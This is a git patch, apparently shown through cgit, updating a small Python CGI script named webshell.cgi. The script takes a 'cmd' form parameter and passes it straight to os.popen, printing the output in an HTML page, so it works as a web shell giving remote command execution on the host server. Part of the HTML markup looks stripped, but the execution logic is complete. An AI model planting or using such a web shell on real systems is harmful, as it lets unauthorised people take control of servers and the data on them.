From 4ba1844cb85a50ddb2023030a5e3a12ed5e7f031 Mon Sep 17 00:00:00 2001 From: jerome Date: Tue, 26 Dec 2023 17:32:42 +0100 Subject: update webshell --- html/cgi-bin/webshell.cgi | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) (limited to 'html') diff --git a/html/cgi-bin/webshell.cgi b/html/cgi-bin/webshell.cgi index e615124..cebfb10 100755 --- a/html/cgi-bin/webshell.cgi +++ b/html/cgi-bin/webshell.cgi @@ -5,15 +5,18 @@ import cgi import os +cmd = "" form = cgi.FieldStorage() -if form.getvalue('command'): - cmd = form.getvalue('command') +if form.getvalue('cmd'): + cmd = form.getvalue('cmd') -print("Content-Type: text/html; charset=UTF-8\n\n") +print("Content-Type: text/html\n\n") print (""" + Web shell +

Web shell

@@ -25,11 +28,12 @@ print("

") print("""
- +
""") -if cmd : print("
",os.popen(cmd).read(),"
") +if cmd : print(f"
{os.popen(cmd).read()}
") + print(""" -- cgit v1.2.3